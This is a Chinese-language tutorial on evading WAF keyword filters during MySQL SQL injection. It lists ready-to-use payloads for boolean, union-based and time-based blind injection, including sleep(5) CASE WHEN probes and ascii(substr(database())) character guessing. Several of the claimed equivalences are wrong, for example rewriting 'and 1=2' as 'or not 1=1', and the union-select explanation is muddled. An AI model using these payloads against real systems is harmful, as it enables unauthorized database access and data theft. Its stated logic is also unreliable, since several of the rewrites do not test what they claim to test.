### and or 被过滤怎么绕过

**1. 利用逻辑运算符的符号替代**

在某些情况下，WAF（Web Application Firewall）可能只过滤了关键字，而忽略了它们的符号表示

- **`&&` 替代 `and`：** 在 MySQL 中，`&&` 和 `and` 的功能相同。如果 `and` 被过滤，可以尝试使用 `&&`。
- **`||` 替代 `or`：** 同样，`||` 可以替代 `or` 来进行逻辑或操作。

**Payload 实例：**

- **原始注入：** `id=1 and 1=2`
- **绕过：** `id=1 && 1=2`

**2. 利用`!`、`<>`、`not` 等操作符**

通过巧妙地结合其他逻辑或比较操作符，我们可以构造出等价的判断逻辑

- **`and` 的替代：**
  - `if not (a=1) then ...` 等价于 `if a<>1 then ...`
  - 我们可以利用 `not` 或 `<>` 来否定条件，从而实现 `and` 的效果
  - **例如：** `username=admin' or not ('1'='1' and '1'='2')` 这句可以被改写为 `username=admin' or not (1=1)`，这在逻辑上是错误的，我们可以利用它来测试
  - **更具体的绕过：** `id=1 and 1=2` 可以被改写为 `id=1 or not 1=1`，这在布尔盲注中可以用来判断

**3. 利用`union select`进行盲注**

当布尔条件失效时，可以尝试使用 `union select` 来进行盲注

- **原理：**
  - 正常情况下，`union select` 需要前后两个查询的列数一致
  - 我们可以利用这一点，通过 `union select` 来注入一个不存在的列，从而触发数据库的报错，通过报错信息来判断
- **绕过方式：**
  - **首先，使用 `union` 探测列数。** `id=1 union select 1,2,3...`
  - **然后，利用列数来进行盲注。** `id=-1 union select 1, 2, user() like 'root%'` 如果页面正常回显，则说明 `user()` 以 `root` 开头。通过这种方式，可以逐字逐句地猜解数据

**4. 利用`if()`函数的替代品**

在布尔盲注中，`if()` 函数通常是不可或缺的。如果它和 `and` `or` 一起被过滤，那么需要寻找替代函数

- **`case when ... then ... end`：** 这是 `if()` 函数最常见的替代品，功能完全一样，且通常不会被过滤
  - **例如：** `id=1 and (case when 1=1 then sleep(5) else 0 end)`
  - **绕过：** `id=1 or (case when (database() like 'd%') then sleep(5) else 0 end)`
- **`greatest()` 和 `least()`：** 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断
  - **例如：** `id=1 and greatest(1, (select if(1=1, 0, 1)))`
  - **绕过：** `id=1 or greatest(ascii(substr(database(),1,1)), 100)>100`

**5. 利用其他查询特性**

当所有常用方法都被过滤时，可以尝试利用一些非常规的查询特性

- **`having` 子句：** `having` 用于对 `group by` 的结果进行过滤。在一些情况下，`having` 后面可以接子查询，可以利用这一点进行注入
- **`limit offset`：** 我们可以通过 `limit` 和 `offset` 来逐行读取数据，再结合其他技术进行判断